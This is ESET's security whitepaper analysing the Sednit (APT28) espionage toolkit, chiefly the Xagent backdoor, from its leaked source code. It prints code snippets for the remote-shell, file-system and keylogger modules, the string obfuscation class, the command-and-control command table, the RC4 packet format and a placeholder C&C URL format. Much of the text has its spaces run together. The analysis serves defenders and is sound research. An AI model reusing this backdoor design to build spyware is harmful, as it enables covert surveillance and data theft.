Thekeypointsdescribedinthissecondinstallmentarethefollowing: TheSednitgroupdevelopedtwodifferentspyingbackdoorsforlongtermmonitoring, namedSedrecoandXagent,inordertomaximizethechanceofavoidingdetection The XagentbackdoorcancommunicatewithitsCCserveroveremailwithacustom protocol,whichinsomecasesisbasedonGeorgianwords TheSednitgroupdevelopedanetworkproxytool,namedXtunnel,toeffectivelytransform acompromisedcomputerintoanetworkpivot,inordertocontactmachinesthatarenormally unreachablefromtheInternet The Xagentsourcecode,theXagentCCserverconfiguration,andtheXtunnelbinaries allcontaintracesofRussian,stronglyreinforcingthehypothesisthatthisisthelanguage employedbytheSednitgroupsmembers Foranyinquiriesrelatedtothiswhitepaper,contactusat:threatinteleset.com mailto:threatintel40eset.com?subjectEn20Route20with20Sednit20Part202 En Route with Sednit 46 InTROdUCTIOn Readers who have already read the first part of our Sednit trilogy might want to skip the following section (duplicated from the previous part) and go directly to the specific introduction of this second part.
The Sednit Group TheSednitgroupvariouslyalsoknownasAPT28,FancyBear,Sofacy,PawnStorm,STRONTIUM andTsarTeamisagroupofattackersoperatingsince2004ifnotearlier,whosemainobjective istostealconfidentialinformationfromspecifictargets.
Overthepasttwoyears,thisgroupsactivity hasincreasedsignificantly,withnumerousattacksagainstgovernmentdepartmentsandembassies allovertheworld.
AmongtheirmostnotablepresumedtargetsaretheAmericanDemocraticNationalCommittee[1], theGermanparliament[2]andtheFrenchtelevisionnetworkTV5Monde[3].Moreover,theSednit grouphasaspecialinterestinEasternEurope,whereitregularlytargetsindividualsandorganizations involvedingeopolitics.
OneofthestrikingcharacteristicsoftheSednitgroupisitsabilitytocomeupwithbrand-new0-day[4] vulnerabilitiesregularly.
In2015,thegroupexploitednofewerthansix0-dayvulnerabilities,asshown in Figure1.
Figure 1.
Timeline of 0-day vulnerabilities exploited by the Sednit group in 2015 Thishighnumberof0-dayexploitssuggestssignificantresourcesavailabletotheSednitgroup,either becausethegroupmembershavetheskillsandtimetofindandweaponizethesevulnerabilities, orbecausetheyhavethebudgettopurchasetheexploits.
Also,overtheyearstheSednitgrouphasdevelopedalargesoftwareecosystemtoperform itsespionageactivities.
Thediversityofthisecosystemisquiteremarkableitincludesdozens ofcustomprograms,withmanyofthembeingtechnicallyadvanced,liketheXagentandSedreco modularbackdoors(describedinthesecondpartofthiswhitepaper),ortheDowndelphbootkit androotkit(describedinthethirdpartofthiswhitepaper).
WepresenttheresultsofESETstwo-yearpursuitoftheSednitgroup,duringwhichweuncovered andanalyzedmanyoftheiroperations.
Wesplitourpublicationintothreeindependentparts: 1.
Part 1: Approaching the TargetdescribesthekindsoftargetstheSednitgroupisafter, andthemethodsusedtoattackthem.
Italsocontainsadetailedanalysisofthegroups most-usedreconnaissancemalware.
CVE-2015-2424 Oce RCE CVE-2015-3043 Flash CVE-2015-1701 Windows LPE CVE-2015-2590 Java CVE-2015-4902 Java click-to-play bypass CVE-2015-7645 Flash APR MAY JUN JUL AUG SEP OCT En Route with Sednit 47 2.
Part 2: Observing the Comings and Goingsdescribestheespionagetoolkitdeployedonsome targetcomputers,plusacustomnetworktoolusedtopivotwithinthecompromised organizations.
3.
Part 3: A Mysterious DownloaderdescribesasurprisingoperationrunbytheSednitgroup, duringwhichalightweightDelphidownloaderwasdeployedwithadvancedpersistence methods,includingbothabootkitandarootkit.
Eachofthesepartscomeswiththerelatedindicatorsofcompromise.
The Second Part of the Trilogy Figure2showsthemaincomponentsthattheSednitgrouphasusedoverthelasttwoyears, withtheirinterrelationships.
Itshouldnotbeconsideredasacompleterepresentationoftheir arsenal,whichalsoincludesnumeroussmallcustomtools.
Figure 2.
Main attack methods and malware used by the Sednit group since 2014, and how they are related WedivideSednitssoftwareintothreecategories:thefirst-stagesoftwareservesforreconnaissance ofanewlycompromisedhost,thencomesthesecond-stagesoftwareintendedtospyonmachines deemedinteresting,whilethepivotsoftwarefinallyallowstheoperatorstoreachothercomputers.
In this second part,wefocusonSednitsespionagetoolkit,whichservesforlongtermmonitoring ofcompromisedcomputers.
Thecomponentsdescribedinthissecondpartareoutlinedinblue in Figure2,whichincludesthetwospyingbackdoorsSedrecoandXagent,andthenetwork toolXtunnel.
TheusualworkflowofSednitsoperatorsistodeploybothSedrecoandXagentonanewly- compromisedcomputer,afterareconnaissancephasewithfirst-stagemalware(Seduploader, describedinthefirstpartofthiswhitepaper,orDowndelph,describedinthethirdpart).Deploying bothspyingbackdoorsatthesametimeallowsthemtoremainincontactifoneofthembecomes detected.
ThenetworktoolXtunnelcomeslater,inordertoreachotheraccessiblecomputers.
FIRST-STAGE MALWARE ATTACK METHODS SECOND-STAGE MALWARE PIVOT MALWARE Fake webmail login panels Sedkit Seduploader dropper Seduploader payload Downdelph Usbstealer Xtunnel Xagent Email attachments Sedreco dropper Sedreco payload En Route with Sednit Part 1 En Route with Sednit Part 2 En Route with Sednit Part 3 En Route with Sednit 48 AllthecomponentsshowninFigure2aredescribedinthiswhitepaper, withtheexceptionofUsbstealer,atooltoexfiltratedatafromair-gapped machinesthatwehavealreadydescribedatWeLiveSecurity[5].Recent versionshavebeendocumentedbyKasperskyLabs[6]aswell.
ReaderswhohavealreadyreadthefirstpartofourSednittrilogymayskipthefollowingsections andgodirectlytoXagentsanalysis.
Attribution Onemightexpectthisreferencewhitepapertoaddnewinformationaboutattribution.
Alothas beensaidtolinktheSednitgrouptosomeRussianentities[7],andwedonotintendtoaddanything tothisdiscussion.
Performingattributioninaserious,scientificmannerisahardproblemthatisoutofscope ofESETsmission.
Assecurityresearchers,whatwecalltheSednitgroupismerelyasetofsoftware andtherelatednetworkinfrastructure,whichwecanhardlycorrelatewithanyspecificorganization.
Nevertheless,ourintensiveinvestigationoftheSednitgrouphasallowedustocollectnumerous indicatorsofthelanguagespokenbyitsdevelopersandoperators,aswellastheirareasofinterest, aswewillexplaininthiswhitepaper.
Publication Strategy Beforeenteringthecorecontentofthiswhitepaper,wewouldliketodiscussourpublicationstrategy.
Indeed,assecurityresearchers,twoquestionswealwaysfinddifficulttoanswerwhenwewrite aboutanespionagegrouparewhen to publish?,andhow to make our publication useful to those tasked with defending against such attacks?.
TherewereseveraldetailedreportsontheSednitgrouppublishedin2014,liketheOperationPawn StormreportfromTrendMicro[8]andtheAPT28reportfromFireEye[9].Butsincethenthepublic informationregardingthisgrouphasmainlycameintheformofblogpostsdescribingspecific componentsorattacks.
Inotherwords,nopublicattemptshavebeenmadetopresentthebig pictureontheSednitgroupsince2014.
Meanwhile,theSednitgroupsactivityhassignificantlyincreased,anditsarsenaldiffersfromthose describedinpreviouswhitepapers.
Therefore,ourintentionhereistoprovideadetailedpictureoftheSednitgroupsactivitiesover thepasttwoyears.
Ofcourse,wehaveonlypartialvisibilityintothoseactivities,butwebelieve thatwepossessenoughinformationtodrawarepresentativepicture,whichshouldinparticular helpdefenderstohandleSednitcompromises.
Wetriedtofollowafewprinciplesinordertomakeourwhitepaperusefultothevarioustypes ofreaders: Keep it readable:whileweprovidedetailedtechnicaldescriptions,wehavetriedto makethemreadable,withoutsacrificingprecision.
Forthisreasonwedecidedtosplit ourwhitepaperintothreeindependentparts,inordertomakesuchalargeamountof informationeasilydigestible.
Wealsohaverefrainedfrommixingindicatorsofcompromise withthetext.
Help the defenders:weprovideindicatorsofcompromise(IOC)tohelpdetectcurrentSednit infections,andwegroupthemintheIOCsectionandonESETsGitHubaccount[10].Hence, thereaderinterestedonlyintheseIOCscangostraighttothem,andfindmorecontext inthewhitepaperafterwards.
En Route with Sednit 49 Reference previous work:ahighprofilegroupsuchasSednitistrackedbynumerousentities.
Aswithanyresearchwork,ourinvestigationstandsontheshouldersoftheprevious publications.
Wehavereferencedthemappropriately,tothebestofourknowledge.
Document also what we do not understand:westillhavenumerousopenquestions regardingSednit,andwehighlighttheminourtext.
Wehopethiswillencouragefellow malwareresearcherstohelpcompletethepuzzle.
Wedidourbesttofollowtheseprinciples,buttheremaybecaseswherewemissedouraim.
Weencouragereaderstoprovidefeedbackatthreatinteleset.com,andwewillupdate thewhitepaperaccordingly.
mailto:threatintel40eset.com?subjectSednit En Route with Sednit 50 XaGEnT: baCkdOOR SPECIallY COMPIlEd fOR YOU Identikit Xagent is a modular backdoor with spying functionalities such as keystroke logging and file exfiltration.
Alternative Names SPLM, CHOPSTICK Usage XagentistheflagshipbackdooroftheSednitgroup,deployed bytheminmanyoftheiroperationsoverthepasttwoyears.
Itisusuallydroppedontargetsdeemedinterestingbytheoperators afterareconnaissancephase,butithasalsobeenusedasfirst-stage malwareinafewcases.
Known period of activity November2012toAugust2016(thetimeofthiswriting).Probably stillinuse.
Known deployment methods DownloadedbyDowndelph DownloadedbySedkit DroppedbySeduploaderdropper DownloadedbySeduploaderpayload Distinguishing characteristics XagentisdevelopedinCwithamodulararchitecture, aroundacoremodulenamedAgentKernel XagenthasbeencompiledforWindows,LinuxandiOS (atleast) XagentpossessestwodifferentimplementationsofitsCC communicationchannel,oneoverHTTPandtheotherover emails(SMTP/POP3protocols) Xagentbinariesareoftencompiledforspecifictargets,with aspecialchoiceofmodulesandcommunicationchannels En Route with Sednit 51 Timeline ThedatespositedinthetimelinemainlyrelyonXagentcompilationtimestamps,whichwebelieve havenotbeentamperedwithbecausetheymatchupwithourtelemetrydata.
Thesedatesmay belaterthantheactualeventsthough,aswedonothaveallXagentsamples,butenough arepresenttogiveagoodapproximation.
Inparticular,wedatedtheappearanceofXagent asindependentmalwareinNovember2012,butfellowmalwareresearchersreportedtousprivately thatpartsofitscodewereusedbeforethat.
Figure 3.
Xagent major events 2012 November Introduction of Xagent version 1 for Windows 2014 February Introduction of Xagent version 2 for both Linux and Windows 2014 September Xagent deployed with Sedkit exploit kit 2015 December Introduction of Xagent version 3 for Linux 2014 December Introduction of Xagent version 3 for Windows Modules now have obfuscated Run-Time Type Information (RTTI)         .
2015 February Xagent for iOS found by Trend Micro 2016 May Xagent found on the servers of the Democratic National Committee (DNC) [11] [12] [13] En Route with Sednit 52 Context Duringourinvestigations,wewereabletoretrievethecompleteXagentsourcecodefortheLinux operatingsystem.
Tothebestofourknowledge,thisisthefirsttimethisXagentsourcecode hasbeenfoundanddocumentedbysecurityresearchers.
ThissourcecodeisafullyworkingCproject,whichwasusedbySednitoperatorstocompile abinaryinJuly2015(atleast).Theprojectcontainsaround18,000linesofcodeamong59classes apartialdirectorylistingofthesourcefilesisshowninFigure4.
Figure 4.
Partial directory listing of Xagent source files En Route with Sednit 53 WebelievetheLinuxsourcecodeisderivedfromtheWindowsversionofXagent.
Inotherwords, OS-specificoperationshavebeenre-implemented,butthecorelogicremainsthesameonboth platforms.
Asanexampleofthislineage,thefollowingcodesnippetshowssomeWindowsAPIcalls forthreadterminationcommentedoutbythedevelopers,andreplacedwithacalltotheLinux pthreads[14]interface.
Accordingtoitsinternalversionnumbering,thissourcecodeisversion2ofXagent,whilecurrently distributedWindowsandLinuxbinariesareversion3.Nevertheless,thereappeartobeonlyminor differencesbetweenthetwoversions,andthesourcecodematchesthecorelogicofthemostrecent samplesonbothWindowsandLinuxplatforms.
Also,theiOSversionofXagentfoundbyTrend Micro[13]notdocumentedinthiswhitepaperisbasedonthissourcecode,according toourownanalysis.
Therefore,wedecidedtopresentananalysisofXagentmainlybasedonthesourcecode, andnotonbinaries,toeasetheexplanations.
Inordertofacilitatethereadingofthesourcecode,wemadethefollowingsyntacticchoices: Partsofthecodenotrelevanttoouranalysishavebeenreplacedby[ ] Asthecodeisheavilycommentedbyitsdevelopers,we decided to leave those comments untouched.
Forthereaderthiscomesatthepriceofenduringpoorly-wordedEnglish comments,butthisallowsafinerunderstandingofwhatthedeveloperswerethinking.
Ourowncommentsonthecodeappearafterthesnippets,andareindicatedbynumberedtags WhenthedeveloperscommentsareinRussian,weaddedthetranslationintheform of/ Translates to:  / if(handleGetPacket  0)  pthread_exit(handleGetPacket) //TerminateThread(handleGetPacket, 0) //CloseHandle(handleGetPacket)  En Route with Sednit 54 Initialization WebeginourjourneythroughXagentsourcecodeinthefilemain.cppinthefunction startXagent(),whichcontainstheinstantiationsofthemainobjects,asshownbelow.
InstantiationofanAgentKernelobject,calledkernelhereafter,whichistheXagent executionmanager.
InstantiationofanIAgentChannelobject,calledchannelhereafter,whichisthemeans ofcommunicationwiththeCCserver.
Thesourcecodecontainstwodifferentchannel implementations,oneoverHTTPandoneoveremail.
Herethedevelopershavecommented outtheemailchannelinstantiation.
InstantiationsofseveralIAgentModuleobjects,calledmoduleshereafter,whichimplement Xagentfunctionalities.
Herethedevelopershavecommentedoutthekeylogger moduleinstantiation.
CallstotheAgentKernel::registerChannel()andAgentKernel::registerModule() methods,throughwhichthekernelstartsmanagingthesemodulesexecutions,andpass theircommunicationsthroughtheregisteredchannel.
Registrationsoftheunusedchannel andmodulearecommentedout.
CalltotheAgentKernel::startWork()method,whichcreatesexecutionthreads ontheworkermethodsofeachregisteredmoduleandchannel.
Commentingoutmoduleandchannelinstantiationsisastrategywepreviouslyobservedwhen analyzingXagentbinaries.
Eachsampledoesindeedcomewithaspecificcombinationofmodules andchannels,eventhoughtheXagentkerneliscompletelycapableofmanagingallofthem inparallel(includingmultiplechannels).
Bydoingso,operatorsprobablyintendtoadaptXagentbinariesforspecifictargets,andavoid exposingthewholeXagentcodetosecurityresearchers.
Moreover,operatorsmaystilldeploy additionalmodulesandchannelsduringexecution,aswewillexplainlater.
int startXagent(wstring path)  [...] AgentKernel krnl( (wchar_t )path.c_str() ) IAgentChannel http_channel  new HttpChannel() //IAgentChannel smtp_channel  new MailChannel() IAgentModule remote_shell  new RemoteShell() IAgentModule file_system  new FSModule() //IAgentModule key_log  new RemoteKeylogger() krnl.registerChannel(http_channel) //krnl.registerChannel(smtp_channel) krnl.registerModule(remote_shell) krnl.registerModule(file_system) //krnl.registerModule(key_log) krnl.startWork() [...]  En Route with Sednit 55 Modules ThecoreXagentfunctionalitieslieinitsmodules.
AsshowninthestartXagent()snippet, XagentLinuxsourcecodecontainsthreemodules,plusthekernelwhichisitselfalsoamodule.
ThesemodulesarelistedinTable1: Table 1.
Xagent version 2 Linux modules Name ID Purpose Name of equivalent module on Windows AgentKernel 0x0002 ManagesXagentexecutionandrelay communicationsbetweenthemodules andtheCCserver AgentKernel RemoteKeylogger 0x1002 Logskeystrokes ModuleRemoteKeyLogger FSModule 0x1122 Provideswrappersforfilesystem operations(find,read,write,execute,etc) ModuleFileSystem RemoteShell 0x1302 ExecutessuppliedcommandsinLinux command-lineinterpreter/bin/sh ProcessRetranslatorModule Asshowninthesecondcolumn,eachmoduleisidentifiedbya2-byteID,whichisacombination ofaversionnumberandamoduleidentifier.
Forexample,whenAgentKernelIDissetto0x0002, itcorrespondstoversion2andthemodulenumbered0.
CurrentlydistributedXagentbinariespossessakernelIDof0x3303, thuscorrespondingtokernelversion3andthemodulestrangelynum- bered33.TheoldestXagentversionshadakernelIDof0x0001.
EachLinuxXagentmodulehasanequivalentmoduleintheWindowsversion,asshowninthefourth columnofTable1(WindowsnamescomefromRun-TimeTypeInformation(RTTI)[12]leftinsome binaries).Duetooperatingsystempeculiarities,themoduleimplementationsdifferbetween WindowsandLinux,buttheirIDsandthecommandstheyacceptarethesame.
Inthefollowingsection,wewillpresentanin-depthdescriptionofthekernelmodule,leavingaside theother,morestraightforward,modules.
WhilerecentversionsofXagentforWindowsonlyhavethemodules describedinTable1,olderversionshavebeenseenwithadditionalmodules, suchas: DirectoryObserverModule,whichmonitorsallmountedvolumesforfiles withspecificextensions(.doc,.docx,.pgp,.gpg,.m2f,.m2o) ModuleNetFlash,whichmonitorsremovabledrivesforCCmessages, inasimilarwaytoUsbstealer[5] ModuleNetWatcher,whichmapsnetworkresources En Route with Sednit 56 Kernel AsdescribedinTable1,AgentKernelistheexecutionmanager,andtheonlymodule thathastobepresentinallXagentbinaries.
Constructor OuranalysisofAgentKernelbeginsinitsconstructor: InstantiationofaLocalStorageobject,whichisthekernelstore.
Itcontainsboth afile-basedstorageforthecommunicationswiththeCCserver,andanSQLite3[15] databasetostorevariousconfigurationparameters.
InstantiationofaCryptorobject,whichisthecryptographicengineofthekernel.
ItwillserveinparticulartoencryptthecommunicationswiththeCCserver.
InstantiationofaChannelControllerobject,whichistheinterfacetocontact theCCserver,aswewillexplainlater.
InstantiationofaReservedApiobject.
Itimplementssomehelperfunctionsusedbythekernel, likeReservedApi::initAgentId()togeneratea4-byteIDfortheXagentinfectedcomputer.
Thekernelbeingamodule,itinsertsitselfinthelistofmoduleswhoseexecutionwillbemanaged.
Inthekernelconstructorcodeandelsewhere,importantstringsareaccessedthroughaclass namedCoder,whichisawrapperaroundanencryptedstring.
Thestringisthendecryptedon-demand byanexclusive-or(XOR)withakeydefinedatthetimetheCoderobjectwasinstantiated.
AgentKernel::AgentKernel(wchar_t path_Xagent)  [...] local_storage_  new LocalStorage(path_Xagent) [...] cryptor_  new Cryptor(kernel_main_crypto_key, sizeof(kernel_main_crypto_ key)) [...] channel_controller_  new ChannelController(this) reserved_  new ReservedApi() [...] modules_.insert(modules_.begin(), this)  En Route with Sednit 57 Forexample,inthefollowingcodesnippetKERNEL_PATH_MAIN_KEYistheencryptedstring andmaskthekey,whilethedecryptedstringisthenretrievedbycallingthemethod Coder::getDencodeAscii()[sic].
ThismechanismtheoreticallyallowsXagenttokeepstringsencrypteduntiltheyareused.
Nevertheless,amacrointhesourcecodeallowsthemtobeleftunencrypted(thekeyinCoder beingforcedtozeros),whichisactuallythecaseinallLinuxbinariesweanalyzed.
Ontheother hand,theCoderclassisindeedusedwithencryptedstringsinWindowsXagent.
Thekernelconstructorcodereferstosomeconfigurationparameterswhose valuesarehardcodedintheheaderfileAgentKernel.h.
Thedefinitions oftheseparametersappeartohavebeenautomaticallyextractedfrom aXMLfile,asshownforexamplebelowfortheXagentmutexname.
Coder coder  new Coder((u_char )KERNEL_PATH_MAIN_KEY, sizeof(KERNEL_PATH_MAIN_KEY), mask, sizeof(mask) ) string name_bd  coder-getDencodeAscii() / xmlblok configMESSAGE typeu_char[CDATA[ / static / ]] / / type[CDATA[ / wchar_t / ]] / / /type / / static[CDATA[ / MUTEX_OF_XAGENT []  / ]]/static / / config operationLunicodebyte[CDATA[ LXSQWERSystemCriticalSection_for_1232321 / ]] /  / / config / / /xmlblok / En Route with Sednit 58 Core Logic Asforallmodules,thecorelogicofthekernelliesinitsrun()method,onwhichanexecutionthread hasbeencreatedbythepreviouslydescribedstartWork()method.
Thepurposeofthekernelrun() methodistorelaythecommunicationsbetweenthemodulesandtheCCserver,asshowninFigure5, andasdescribedbelow.
Figure 5.
Xagent communication workflow Legend Data flow Unencrypted messages (ModuleMsg objects) Data flow Encrypted messages (CryptRawPacket objects) Control flow C method AgentKernel::run() AgentKernel::translateToController() 1.
Encrypts message 2.
Stores it into LocalStorage AgentKernel::translateToModule() 1.
Decrypts message 2.
Transfer to intended module Local Storage (File on harddrive) _get_questions (C vector) RemoteKeylogger::takeMessage() Modules IAgentChannel::getRawPacket() IAgentChannel::sendRawPacket() Reports to CC server the list of installed modules Fetches messages from modules for the CC server Fetches messages from CC server for modules ChannelController::getDataToServer() If currently selected channel is not working, switch to another channel If there is an inbound packet in currently selected channel, writes it into _get_questions vector ChannelController::sendDataToServer() Sends it through currently selected channel Fetches message from LocalStorage AgentKernel::giveMessage() AgentKernel::takeMessage() RemoteShell::giveMessage() RemoteShell::takeMessage() FSModule::giveMessage() FSModule::takeMessage() RemoteKeylogger::giveMessage() CC Server connected to Internet RemoteKeylogger::takeMessage() En Route with Sednit 59 Hello Message Firstthingsfirst,AgentKernel::run()reportsthelistofinstalledmodulestotheCCserver.
Moreprecisely,thekernelbehavesasifithadreceivedacommandcalledPING_REQUESTfrom theCCserver(thekernelscommandswillbedescribedinthefollowingsection).Itthenbuilds areportinaModuleMsgobject,whichistheclassencapsulatingmessagestoorfrommodules, andwhoseimportantfieldsareshowninthefollowingcodesnippet.
InthisreportmessagethemodIdfieldissettothekernelID0x0002,cmdIdtoPING_REQUEST, anddatapointstothelistofinstalledmoduleIDsseparatedbythecharacter.
The ModuleMsgobjectisthenpassedtotheAgentKernel::translateToController()method, whichtakeschargeofitsencryption,resultinginaCryptRawPacketobject.
Thisobjectjustcontains apointertoabufferwhoseformatisdescribedinFigure6.
Figure 6.
CryptRawPacket data buffer format ThebufferstartswithaheadercomposedoftheagentIDandachecksumcalculatedontherest ofthedata.
Thischecksumisa2-bytecyclicredundancycheck(CRC)[16]calculatedonthedata witha2-bytepseudo-randomlygeneratedpolynomial.
Thesetwovaluesareappendedtoeachother toformthechecksumfield4-bytevalue.
class ModuleMsg  private: // ID  / / Translates to: The agent ID from/to whom the message is intended / int agentId // ID  / /Translates to: The module ID from/to whom the message is intended / u_short modId // ID , / Translates to: ID of the command that was executed, or will be executed / u_char cmdId //   , / Translates to: Pointer to the memory where data are / u_char data [...]  Header 0 4 n-15 n-4 n Serialized ModuleMsg DATA_TOKEN RC4 registerAgent ID 8 Checksum Legend Unencrypted text data RC4-encrypted data En Route with Sednit 60 ThencomestheserializedModuleMsgobjectfollowedbyan11-bytevaluenamedDATA_TOKEN,both RC4-encrypted.
TheDATA_TOKENvalueishardcodedinthesourcecodeandprobablyservestocheck theintegrityofthemessageduringdecryptionbytheCCserver.
ThekeyusedforRC4-encryption istheconcatenationofahardcoded50-bytevalueandapseudo-randomlygenerated4-bytevalue, namedregisterandappendedtotheencrypteddata.
Theexactsame50-bytevalueisusedtoformanRC4-key,alsowith aregister,inDowndelphandSeduploader.
AsshowninFigure5,theresultingbufferiswrittenintoafilemaintainedbytheLocalStorage object.
TheencrypteddataarethenretrievedfromthisfileandsenttotheCCserver bytheChannelController::sendDataToServer()method,throughthecurrentlyselected channel(channelimplementationwillbedescribedinthenextsection).
Communications Loop AsshowninFigure5,AgentKernel::run()thenentersinaninfinitelooprelayingcommunications betweenthemodulesandtheCCserver: ItfetchesModuleMsgobjectsfromthemodules,whicharethentransmittedtotheCCserver bytheprocesspreviouslydescribedfortheinitialreport.
Forexample,theRemoteKeylogger moduleregularlysendsamessagecontainingthecapturedkeystrokestotheCCserver.
ItretrievesCryptRawPacketobjectssentbytheCCserverfromaCvectordubbed_get_ questionsandfilledbytheChannelController::getDataFromServer()method.
Those objectsaredecryptedanddeserializedintoModuleMsgobjects,whicharethentransmitted totheintendedmodule.
Forexample,theCCservercansendamessagewiththecommand STARTfortheRemoteKeyloggermodule,whichthenbeginsitskeyloggingactivity.
Accepted Commands Thekernelaccepts12differentcommandsfromtheCCserver,aslistedinTable2.Inpracticethese commandsareintegervaluescorrespondingtomacrosdefinedinthesourcecode.
Table 2.
AgentKernel accepted commands Name Integer Value Purpose GET_AGENT_INFO 1 ReportsIDsandsettingsofmodulesandchannelstotheCCserver PING_REQUEST 2 ReportsIDsofmodulestotheCCserver CHANGE_PING_TIMEOUT 31 Setstheparameterdefiningtheamountoftimetowaitbeforeinitially contactingtheCCservertothegivenvalue CHANGE_STEP_TIME 32 Setstheparameterdefiningtheamountoftimetowaitbetween twoattemptstoreachtheCCservertothegivenvalue SET_PARAMETERS 33 SavesthetwopreviousparameterscurrentvaluesintotheLocalStorage SQLite3database,suchthatthosevalueswillbere-usedatnextstartup CHANGE_CHANNEL 41 Changesthecurrentlyselectedchanneltothechannelidentified bythegivenID(seenextsectionfordetailsonthechannels) En Route with Sednit 61 Name Integer Value Purpose CHANNEL_SET_ PARAMETERS 42 ChangesthesettingsofthechannelidentifiedbythegivenID.
Forexample,itmaybeusedtochangetheCCserveraddress.
LOAD_NEW_MODULE 51 InstantiatesanIAgentModuleobjectfromthegivendata,and registersthisnewmodulewiththekernel UNLOAD_MODULE 52 UnloadsthemoduleidentifiedbythegivenID LOAD_NEW_CHANNEL 53 InstantiatesanIAgentChannelobjectfromthegivendata, andregistersthisnewchannelwiththekernel UNLOAD_CHANNEL 54 UnloadsthechannelidentifiedbythegivenID UNINSTALL_XAGENT 61 KillstheXagentprocess(nouninstallationprocedureimplemented) Communication Channels The ChannelControllerobjectisinchargeofcontactingtheCCserverthroughthecurrently selectedcommunicationchannel,asshowninFigure5.Thiscontrollerisunawareoftheunderlying implementationofthechannel,andcanuseforthatpurposeanyobjectimplementingtheabstract classnamedIAgentChannel.
TheLinuxsourcecodecontainstwochannels,oneusingHTTPandoneusingemails,asdescribed in Table3.
Table 3.
Xagent version 2 Linux channels Name ID Network Protocols Name of equivalent channel on Windows HttpChannel 0x2102 HTTP WinHttp MailChannel 0x2302 SMTPtosendemailsandPOP3 toreceiveemails(overTLS) AgentExternSMTPChannel (onlytosendemails) Eachchannelisidentifiedbya2-byteIDsimilartothepreviouslydescribedmoduleID.Thereexists animplementationfortheHTTP-basedchannelonWindows,whileweonlyfoundachanneltosend emails,withouttheabilitytoreceiveemails,onthisplatform.
ByimplementingtheIAgentChannelabstractclass,thechannelsprovideagetRawPacket() methodtofetchamessagefromtheCCserver,andasendRawPacket()methodtosend amessagetotheCCserver.
Aspreviouslyexplained,thosemessagesareCryptRawPacketobjects.
WedescribeinthissectiontheimplementationsofthesemethodsforthetwoLinuxchannels.
WhileXagentsamplesusuallycomewithonlyonechannel,theChannel- Controllerobjectcanmanageseveraloftheminparallel.
Inparticularit willautomaticallyswitchtoadifferentchannelifthereisoneincasethe currentlyselectedoneisbroken,asshowninFigure5.Additionally,theoper- atorscandeployacompletelynewchannelthroughthepreviouslydescribed LOAD_NEW_CHANNELkernelcommand.
En Route with Sednit 62 HttpChannel The HttpChannel::getRawPacket()methodisimplementedasaHTTP GETrequestthemessage fromtheserverbeingthenintheHTTPanswerbodywhileHttpChannel::sendRawPacket() isanHTTP POSTrequest,whosebodycontainsthemessage.
TheCCIPaddressishardcoded intheassociatedheaderfileHttpChannel.h.
BothGETandPOSTrequestsaredoneonaURLfollowingtheformatpicturedinFigure7.
Figure 7.
URL for GET and POST requests, X.X.X.X being the CCserver IP address Roughlysummarized,thisURLisaseriesofpseudo-randomlychosenparametersassociated withpseudo-randomlygeneratedvalues,exceptforaspecialparametercalledmark.
Thisspecial parameter(whosevalueissettoaiintheLinuxsourcecode)isassociatedwithaso-calledtoken, whichisa20-bytevalueencodingtheagentIDintheformatpicturedinFigure8.
Figure 8.
Format of the token value Inthistoken,theKeyispseudo-randomlygenerated,whileURL_TOKENishardcodedinthesource codeandprobablyservestochecktheintegrityofthemessagebytheCCserver.
ThebodiesofthePOSTrequests,andoftheresponsestoGETrequests,followexactlythesame formatasthetoken,exceptthattheycontainaCryptRawPacketobjectinplaceoftheagentID.
Also,thehardcodedvalueisadifferentone,calledDATA_TOKENbythedevelopers.
MailChannel The MailChannelobjectisanimplementationofXagentcommunicationchanneloveremails, wheremessagesaresentandreceivedasattachmentstoemails.
Duringaninvestigation,wediscoveredthesourcecodeofaproxyserveremployedtorelaytraffic betweenXagentinfectedcomputersusingMailChannel(dubbedagentshereafter)andaCCserver.
Thissourcecodewasleftinanopendirectoryontheproxyserver,whichwasthenindexed bytheGooglesearchengine.
http://X.X.X.X/path/?parameter1value1parameter2value2...mark-token... Series of randomly chosen characters from base64 alphabet Chosen among 7 possible values Chosen among 15 possible values Encoded agent ID Set to ai in Linux source code 0 5 16 20 URL_TOKEN xor key Agent IDJunk 9 Key Legend Randomly chosen characters from base 64 alphabet Base64 encoded data En Route with Sednit 63 TheproxycodeisasetofPythonscriptscontainingmorethan12,200linesofcodeamong14files thefilesareshowninFigure9.ItalsocontainssomelogfilesindicatingitwasinusefromApril2015 toJune2015.
Figure 9.
Proxy server source files Ascanbeseenfromthefilesnames,theproxyisactuallymorethanasimplerelayofcommunications: ittranslatestheemailchannelprotocolfromtheagentsintoHTTPrequestsfortheCCserver.
Therefore,wedecidedtoincludethisproxyinouranalysisoftheemailcommunicationchannel.
Figure10representsthewholecommunicationworkflowthatwillbedescribedinthissection.
ls -hog 877B 27 Feb 2015 ConsoleLogger.py 4.8K 14 Apr 2015 FSLocalStorage.py 6.9K 14 Apr 2015 FSLocalStorage.pyc 1.6K 27 Feb 2015 FileConsoleLogger.py 2.6K 7 Apr 2015 FileConsoleLogger.pyc 5.8K 27 Feb 2015 MailServer.py 11K 7 Apr 2015 MailServer2.py 9.6K 16 Apr 2015 MailServer3.py 2.3K 7 Apr 2015 P2Scheme.py 2.2K 7 Apr 2015 P2Scheme.pyc 1.6K 7 Apr 2015 P3Scheme.py 2.4K 7 Apr 2015 P3Scheme.pyc 745B 27 Feb 2015 WsgiHttp.py 2.3K 14 Apr 2015 XABase64.py 3.1K 14 Apr 2015 XABase64.pyc 0B 6 Apr 2015 __init__.py 2.9M 19 Jun 2015 _w3.log 12K 16 Apr 2015 _w3server.log 1.5K 3 Apr 2015 quickstart.py 2.4K 15 Apr 2015 settings.py 1.6K 15 Apr 2015 settings.pyc 4.2K 15 Apr 2015 w3s.py 605B 27 Feb 2015 wsgi.py En Route with Sednit 64 Figure 10.
Communication workflow between an Xagent infected computer using MailChannel and its CCserver, via a proxy server Storage folders for agent 9312312 FROM TO P2Scheme (Level 2 Protocol) Legend P3Scheme (Level 3 Protocol) MailChannel::sendRawPacket() MailChannel::getRawPacket() Email received at exfilexample.com Email received at ordersexample.com MailServer.py Xagent infected computer ID  9312312 (fictional) Fetch new email if valid For all known agents Validate email subject Save attachment in FROM folder of the sender agent Send TO folder content as email attachment w3s.py For all known agents Send FROM folder content to CC server Ask CC server for data and stores it into TO folder Data flow Control flow CC Server connected to Internet Proxy Server En Route with Sednit 65 Theproxysourcecodecontainsafewunusedinstructionsrelatedtoagents communicatingoverHTTP,i.e.usingHttpChannelratherthanMailChan- nel.
Nevertheless,themainclassresponsibleforrelayingHTTPtraffic fromagentsnamedW3Serverisabsentanditsinstantiationhasbeen commentedout.
